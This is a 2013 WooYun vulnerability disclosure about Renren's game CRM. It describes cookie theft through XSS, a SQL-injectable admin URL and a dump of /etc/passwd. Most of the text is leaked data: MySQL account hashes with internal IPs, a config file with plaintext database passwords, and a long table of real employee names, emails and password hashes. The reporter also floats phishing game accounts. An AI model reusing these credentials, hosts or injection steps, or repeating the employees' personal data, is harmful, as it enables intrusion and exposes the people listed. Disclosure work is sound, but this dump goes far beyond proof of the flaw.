人人网游戏XSS+SQL注入+爆路径+列目录，员工信息大量泄漏

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018510

漏洞标题：人人网游戏XSS+SQL注入+爆路径+列目录，员工信息大量泄漏

漏洞作者： whirlwind

提交时间：2013-02-07 22:29

修复时间：2013-03-24 22:30

公开时间：2013-03-24 22:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-07：细节已通知厂商并且等待厂商处理中
2013-02-11：厂商已经确认，细节仅向厂商公开
2013-02-21：细节向核心白帽子及相关领域专家公开
2013-03-03：细节向普通白帽子公开
2013-03-13：细节向实习白帽子公开
2013-03-24：细节向公众公开

简要描述：

XSS偷取cookies，还有注入，权限蛮大的哦，能直接load_file('/etc/passwd')
目测拿下wan.renren.com

详细说明：

http://wan.renren.com/service.shtml
首先这里随便找了一个客服，提交时插入XSS代码，似乎名字那里，忘记了，然后cookies就来了
然后进后台，高级管理员哦
爆路径 http://rrcrm.data.io8.org/lib/
/data/web/crm.imop.com/
sql注入 http://rrcrm.data.io8.org/admin.php?module=Noticeol&action=detail&nid=37
必须验证cookies才能注入

arget: 		http://rrcrm.data.io8.org/admin.php?module=Noticeol&action=detail&nid=37
Host IP:		60.29.248.160
Powered-by: 	PHP/5.2.5
Web Server: 	lighttpd/1.4.13
DB Server: 	MySQL >=5
Resp. Time(avg):	149 ms
Current User: 	root@localhost
Sql Version: 	5.1.38-community-log
Current DB: 	CRM
System User: 	root@localhost
Host Name: 	TJHY248-160.opi.com
Installation dir: 	/
DB User & Pass: 	root:053a9bf72434f7f8:localhost
		root:*84FC659A33D523EACAFFDD441B0D3FB5A114E791:TJHY248-160.opi.com
		xiaonei_dg:*46FD43B2B28A764BFACC4BDC8321E79FFC80EB04:10.22.227.25
		msgweb:32ce979f1810450d:%
		gamesum:*04ED80791E1E83935FCFB04DB251B8923CA52276:10%
		stat:532a371916879d65:%
		gc_imop:*543E075F9BD62E4B2C39F12CD7BDDAA75A6E8A40:10.22.225.%
		webcrm:63e483b832b5e91a:%
		xiaonei_ts:38e845946c9b5163:10.22.225.110
		crm_zl:0e1493ed782f704c:10.4.130.79
		ssgc:*A0BBFCF8936A3F109DC2CBB177EB06FF98E7C18D:10.22.225.238
		replication:565491d704013245:10.22.225.20
		xiaonei_dg:*46FD43B2B28A764BFACC4BDC8321E79FFC80EB04:10.22.225.105
		kaixin_ts:*0AC48CFDD7C65E4137893E7D2CA9CEFA95130238:10.22.225.116
		crm_zl:*3596AFE5BEFF2D668867FF3FCBDBF52B24350868:10.3.32.11
		webcrm:*5A7EAE355A763D62D1B53ED34463A18E2EFC3837:10.22.225.28
		kaixin_sg:*4F9D6AA51C3DDCEF52A115B296A6BFC49F397541:10.22.227.25
		daniel:*E1629DD09C5A72F8836A8503F560779404DCDCF3:10.6.57.60
		daniel:*E1629DD09C5A72F8836A8503F560779404DCDCF3:10.30.33.56
		replication:565491d704013245:10.30.32.141
		renren_hh:*43AED5659370B63BA30CE41A5EE8D31FBB7A0A36:10.30.34.34
		crmsum:*07917BFF5284F50A2D7399560A0110F100CBB23C:10.22.225.29
		crm_zl:*3596AFE5BEFF2D668867FF3FCBDBF52B24350868:10.30.37.160
		lockuser:*FE990CACE7B4E631AB17C9220350DB29709EF42A:10.22.225.89
		lockuser:*FE990CACE7B4E631AB17C9220350DB29709EF42A:10.22.225.90
		lockuser:*FE990CACE7B4E631AB17C9220350DB29709EF42A:10.30.33.80
		renren_sz:09d725012d72e6ab:10.30.37.22
		renren_lzr:09d725012d72e6ab:10.22.227.110
		replication:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9:10.%
		wangkun:27df606e7932e98c:%
		zhenyu.shang:658d4f1d5d32391d:10.%
		kettle:565491d704013245:%
Data Bases: 	information_schema
		CRM
		CRMUSER
		binlogs
		mysql
		test
		testcrm
		tongyongcrm
		user_classfy

下来找找passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
zabbix:x:500:500:Zabbix User:/home/zabbix:/bin/false
mysql:x:100:103:MySQL server:/var/lib/mysql:/bin/bash

然后是mysql等数据库配置
/data/web/crm.imop.com/config.inc.php

<?php
/**
 * 设置数据库连接参数
 */
$cfg['sqlserv'] = 'localhost';
$cfg['sqluser'] = 'root';
$cfg['sqlpass'] = 'crm123li';
$cfg['sqllibr'] = 'CRM';
/**
 * 页面TITLE
 */
$cfg['title'] = 'CRM管理系统2011';
/**
 * 设置模板路径
 */
$cfg['template'] = 'templates';
$cfg['template_c'] = 'templates_c';
$color = array("black" , "blue" , "red" , "green" , "#999933" , "#4CD2D2" , "#FC9B39" , "#4B7994" , "#8300CA" , "#009C9C" , "#B24194" , "yellow" , "#11cccc" , "#77dd22" , "#444444", "#154544" , "#dd00CA" , "#cc9C9C" , "#aa4194" , "#bbcc33" , "#77aacc" , "#dd44dd" , "#211144" , "#98FF44","black" , "blue" , "red" , "green" , "#999933" , "#4CD2D2" , "#FC9B39" , "#4B7994" , "#8300CA" , "#009C9C" , "#B24194" , "yellow" , "#11cccc" , "#77dd22" , "#444444", "#154544" , "#dd00CA" , "#cc9C9C" , "#aa4194" , "#bbcc33" , "#77aacc" , "#dd44dd" , "#211144" , "#98FF44");
define('CRM_HOST','localhost:3306');
define('CRM_USER','root');
define('CRM_PWD','crm123li');
define('CRM_DB','CRM');
define('MARKET_ALL_HOST','sg.data.io8.org:3306');
define('MARKET_ALL_USER','stat');
define('MARKET_ALL_PWD','petnewstatZL123');
define('MARKET_ALL_DB','market_all');
//define("GAME_HOST","10.30.32.126:3306");
define("GAME_HOST","10.22.222.23");
define("GAME_USER","webcrm");
define("GAME_PWD","webcrm123");
define("GAME_DB","GAMEUSER");
define("GAMEPAY_DB","GAMEPAY");//后台算数
define("MGC_HOST","10.22.225.87:3306");
define("MGC_USER","webcrm");
define("MGC_PWD","webcrm123");
define("MGC_DB","GAMEUSER");
define("SSWEB_HOST","10.22.225.61:5003");
define("SSWEB_USER","webcrm");
define("SSWEB_PWD","webcrm123");
define("SSWEB_DB","ss_web");
//define("SSGC_HOST","10.22.225.22:4001");
//define("SSGC_USER","webcrm");
//define("SSGC_PWD","webcrm123");
//define("SSGC_DB","GAMEUSER");
define("SSGC_HOST","10.22.238.140:3306");
define("SSGC_USER","webcrm");
define("SSGC_PWD","webcrm123");
define("SSGC_DB","GAMEUSER");
define("SSCRM_HOST",'localhost:3306');
define("SSCRM_USER",'webcrm');
define("SSCRM_PWD",'webcrm123');
define("SSCRM_DB",'SSCRM');
//define("SHOP_HOST","10.22.225.34:3306");
define("SHOP_HOST","10.30.36.201");
define("SHOP_USER","webcrm");
define("SHOP_PWD","webcrm123");
define("SHOP_DB","mop_shop");
//校内中心
define("XIAONEI_HOST","10.22.225.115:3306");
define("XIAONEI_USER","webcrm");
define("XIAONEI_PWD",'webcrm123');
define("XIAONEI_DB","XNTSGAMELOCALPAY");
//算数DB
define("SUM_HOST","crmdb.data.io8.org");
define("SUM_USER","webcrm");
define("SUM_PWD",'webcrm123');
define("SUM_DB","CRMUSER");
//信息服务器db
define("MSG_HOST","10.30.32.95:3306");
define("MSG_USER","webcrm");
define("MSG_PWD",'webcrm123');
define("MSG_DB","IMOPMSG");
//分页设置
define("PAGE_MAX", 20);
define("PAGE_NUM", 10);
?>

好多
顺便发现个fck
http://cms-na.tech.io8.org/fckeditor/
http://rrcrm.data.io8.org/lib/FCKeditor/
另外，进后台后可以修改公告，没有任何过滤，如果我给弄个基础认证钓鱼的话，嘿嘿，也许还能搞到点游戏号
最后说一下，我发现他游戏后台的默认密码全部是123456

漏洞证明：

realname 	team 	password 	username 	id
	,46, 	e10adc3949ba59abbe56e057f20f883e 	Min.wang 	795
	,43,42,39,36,6,4, 	ca514e5d3ab30b0da3a0e0c09dfc9490 	[email protected] 	797
	,46, 	e10adc3949ba59abbe56e057f20f883e 	Qi.zhao1 	796
	,43,42,39,36,6,4, 	9155dde75497ba1dea7ccfa08a22ffe6 	[email protected] 	798
	,46, 	4297f44b13955235245b2497399d7a93 	Yue.shu 	794
姜瑞华 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	674
bo.gang1 	,38, 	5f38df2425932780987944fd6e1112d1 	bo.gang1 	723
twt 	,24,4, 	2e9087b02957f5c29d14a8fd492cbeb3 	twt 	566
wjktest 	,31, 	e10adc3949ba59abbe56e057f20f883e 	wjktest 	574
白小雪 	,43,42,39,36,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	801
白云 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	436
蔡龙雨 	,36, 	539fc5eb51fa336790822a0751b18dfb 	longyu.cai 	601
蔡萌 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	748
曹俊 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	608
曹蕾 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	742
柴留栓 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	476
常静 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	88
车臣 	,24, 	e10adc3949ba59abbe56e057f20f883e 	chechen 	471
陈超 	,11, 	e10adc3949ba59abbe56e057f20f883e 	chenchao 	363
陈春晖 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	696
陈春树 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	672
陈佳丽 	,0, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	546
陈金磊 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	832
陈亮 	,24, 	e10adc3949ba59abbe56e057f20f883e 	chenliang 	544
陈萌萌 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	724
陈鹏亮 	,41,38,37,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	227
陈乾 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	669
陈瑞杰 	,48,47,46,45,44,43,42,41,40,39,38,31,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	720
陈思伦 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	551
陈曦 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	400
陈曦 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	673
陈向飞 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	594
陈晓菡 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	511
陈雄飞 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	656
陈云龙 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	808
程长利 	,24, 	e10adc3949ba59abbe56e057f20f883e 	chengchangli 	775
程佳宝 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	784
程薇 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	408
程雯 	,24, 	e10adc3949ba59abbe56e057f20f883e 	chengwen 	395
迟洪蕊 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	515
单单 	,0, 	f2748f5fedab17bcba3b8e50a77a523d 	[email protected] 	86
邓涤洁 	,24, 	e10adc3949ba59abbe56e057f20f883e 	dengdijie 	816
邓俊海 	,24, 	e10adc3949ba59abbe56e057f20f883e 	dengjunhai 	411
董亮 	,37, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	700
董晓庆 	,11, 	e10adc3949ba59abbe56e057f20f883e 	dongxiaoqing 	403
窦东栋 	,33, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	479
窦武龙 	,24, 	e10adc3949ba59abbe56e057f20f883e 	douwulong 	774
杜宏跃 	,48, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	789
杜薇 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	453
杜旭 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	560
樊建栋 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	697
樊晋元 	,44,40,37,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	582
樊晓琦 	,48, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	529
范光旭 	,43,42,39,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	703
范昭 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	423
冯超 	,39, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	800
冯卫鲛 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	514
冯小惠 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	833
付琦 	,45,33, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	664
冮博 	,39,38,37,36,6,4, 	9c8459932c64783dcb2cd4b8ef51cd24 	[email protected] 	584
高峰 	,43,42,39, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	831
高峰 	,43,42,39, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	826
高璐 	,47,46, 	df10ef8509dc176d733d59549e7dbfaf 	lu.gao 	735
高润 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	565
高山 	,24, 	1ab017b98e0d01a6622eeee8ca7a1702 	gaoshan 	470
高爽 	,41,38, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	824
宫乐 	,36,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	580
顾雷 	,8, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	161
郭斌 	,24, 	e10adc3949ba59abbe56e057f20f883e 	guobin 	661
郭芳芳 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	803
郭亮 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	149
郭鹏 	,24, 	e10adc3949ba59abbe56e057f20f883e 	guopeng 	437
郭西征 	,41,38,37,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	695
郭毅华 	,24,4, 	46afbc23585c5506d75699425bb07118 	guoyihua 	381
韩冬 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	648
韩涛 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	822
何安娜 	,0, 	9b8477af34424b3ae5d426fb6d16a48e 	heanna 	488
何瑞雪 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	693
何珊珊 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	699
何文 	,44,40,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	638
何宇轩 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	660
贺鹏飞 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	89
赫峰 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	550
洪鼎捷 	,34, 	22fd3fa8e8637a2c22e221a733bceb52 	hongdingjie 	630
洪鼎捷 	,37, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	647
洪峰 	,, 	e10adc3949ba59abbe56e057f20f883e 	feng.hong 	634
侯杰峰 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	567
候宇 	,6, 	e10adc3949ba59abbe56e057f20f883e 	houyu 	370
胡睿琪 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	555
胡晓川 	,48, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	791
黄丹 	,41,38,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	75
黄建兴 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	657
黄珊 	,24, 	fdc1419aab1b1e4a4a80c10293d77e55 	huangshan 	384
霍子赟 	,34, 	42a1c4e4521f50cbb53292651df9e7ec 	huoziyun 	631
纪洪刚 	,4, 	e10adc3949ba59abbe56e057f20f883e 	jihonggang 	492
贾冰一 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	422
贾妍 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	558
江楠 	,43,42,39,36,6,4, 	f9925e6ee3b5ae2bbcc27808f47319f5 	[email protected] 	806
姜刘阳 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	717
姜志鹏 	,34, 	91a23961c0adfe65ab9c149f8c8ea02b 	jiangzhipeng 	632
蒋征 	,48, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	759
徼红艳 	,37,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	559
金帆 	,48,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	811
井海泉 	,24,4, 	e10adc3949ba59abbe56e057f20f883e 	jinghaiquan 	623
康旭 	,24, 	e10adc3949ba59abbe56e057f20f883e 	kangxu 	815
客服补偿 	,34,4, 	e10adc3949ba59abbe56e057f20f883e 	kfbuchang 	651
寇楹煊 	,31, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	540
李兵 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	165
李波 	,48,11,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	655
李畅业 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	706
李超 	,24, 	21536b3e30242c7c304f55f4c40acb4f 	lichao 	541
李超国 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	766
李冲 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	553
李凤祥 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	745
李慧 	,0,48,47,46,45,37,36,31,24,11,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	9
李佳 	,39, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	727
李家倩 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	670
李家倩 	,4, 	e10adc3949ba59abbe56e057f20f883e 	lijiaqian 	212
李嘉轩 	,48,46,4, 	35e7d2e04afef03da02d4801b5ccea9d 	[email protected] 	760
李杰 	,41,38,36,6,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	665
李鍇 	,0, 	e10adc3949ba59abbe56e057f20f883e 	likai 	493
李磊 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	219
李莉 	,24, 	e10adc3949ba59abbe56e057f20f883e 	lili 	387
李敏 	,0, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	68
李楠 	,24, 	e268443e43d93dab7ebef303bbe9642f 	linan 	385
李少平 	,24, 	f038985839d66ec5fe58db366adb896c 	lishaoping 	475
李世朋 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	512
李硕 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	663
李涛 	,45,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	637
李伟 	,24, 	e40f01afbb1b9ae3dd6747ced5bca532 	liwei 	526
李晓旭 	,43,42,39,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	707
李雪峰 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	721
李依家 	,44,40,4, 	c33367701511b4f6020ec61ded352059 	yijia.li 	732
李勇 	,, 	e10adc3949ba59abbe56e057f20f883e 	liyong 	705
李智勇 	,24, 	e10adc3949ba59abbe56e057f20f883e 	lizhiyong 	386
林雪 	,33, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	606
蔺京华 	,0,37,36,35,34,33,31,24,11,6,4, 	d41d8cd98f00b204e9800998ecf8427e 	[email protected] 	666
刘博洋 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	821
刘畅 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	92
刘晨 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	534
刘晨鹏 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	713
刘春雪 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	820
刘桂林 	,24,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	474
刘海舰 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	807
刘晗 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	611
刘贺贺 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	747
刘辉 	,24, 	79258448a61b487b57f418921201b2eb 	liuhui 	380
刘珂 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	786
刘理 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	557
刘丽 	,48,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	763
刘亮 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	752
刘璐 	,0,37, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	503
刘璐璐 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	452
刘梦楠 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	787
刘明东 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	577
刘明辉 	,24, 	cfcd208495d565ef66e7dff9f98764da 	liuminghui 	714
刘明鑫 	,36,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	659
刘天宇 	,24, 	e10adc3949ba59abbe56e057f20f883e 	liutianyu 	409
刘文彦 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	750
刘鑫 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	533
刘晏辰 	,37, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	722
刘喆 	,24, 	e10adc3949ba59abbe56e057f20f883e 	liuzhe 	716
刘志伟 	,44,40,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	754
卢旭 	,44,40,33, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	644
吕浩 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	143
吕金妍 	,31, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	640
罗浩 	,37,36,6, 	d7f9534ef277733863873f357c6b0e4d 	[email protected] 	583
罗林 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	739
罗世妍 	,44,40,11,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	482
马丹丹 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	829
马栋永 	,47,46,45,44,43,42,41,40,39,38,35, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	749
马凯宇 	,24, 	e10adc3949ba59abbe56e057f20f883e 	makaiyu 	776
马路平 	,11,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	521
马美娟 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	823
马莹 	,24, 	e10adc3949ba59abbe56e057f20f883e 	maying 	383
马颖 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	505
梅辰 	,6, 	d41d8cd98f00b204e9800998ecf8427e 	[email protected] 	702
孟娟 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	463
孟睿 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	780
穆浩然 	,47,46,45,44,43,42,41,40,39,38, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	744
楠洁 	,37,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	522
牛祺 	,24, 	c4ca4238a0b923820dcc509a6f75849b 	niuqi 	413
钮鹏凯 	,34, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	562
潘建宇 	,24, 	e10adc3949ba59abbe56e057f20f883e 	panjianyu 	715
彭蕊 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	500
蒲岳松 	,45, 	8e8811fdc0d1947dc0ab674247db49c1 	yuesong.pu 	734
钱晨 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	610
钱振华 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	607
邱博 	,24, 	e10adc3949ba59abbe56e057f20f883e 	qiubo 	431
曲超 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	765
人员001 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员001 	587
人员002 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员002 	588
人员003 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员003 	612
人员004 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员004 	613
人员005 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员005 	614
人员006 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员006 	615
人员007 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员007 	616
人员008 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员008 	617
人员009 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员009 	618
人员010 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员010 	619
人员011 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员011 	620
人员012 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员012 	621
人员013 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员013 	624
人员014 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	676
人员014 	,36, 	e10adc3949ba59abbe56e057f20f883e 	人员014 	625
人员015 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	677
人员016 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	678
人员017 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	679
人员018 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	680
人员019 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	681
人员020 	,36, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	682
任炎 	,6, 	e10adc3949ba59abbe56e057f20f883e 	renyan1 	168
施海龙 	,44,40,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	642
石海峰 	,37, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	646
实习生01 	,, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	683
实习生02 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	684
实习生03 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	685
实习生04 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	686
实习生05 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	687
实习生06 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	688
实习生07 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	689
实习生08 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	690
实习生09 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	691
实习生1 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shixi1 	440
实习生10 	,11, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	692
实习生2 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shixi2 	441
实习生3 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shixi3 	442
实习生4 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shixi4 	443
实习生5 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shixi5 	444
史浩辰 	,24, 	e10adc3949ba59abbe56e057f20f883e 	shihaochen 	397
舒艺 	,6, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	712
宋天翼 	,4, 	e10adc3949ba59abbe56e057f20f883e 	[email protected] 	675
隋轶 	,34, 	fdc2227d75b19d1924797788fdbaee45 	[email protected] 	635
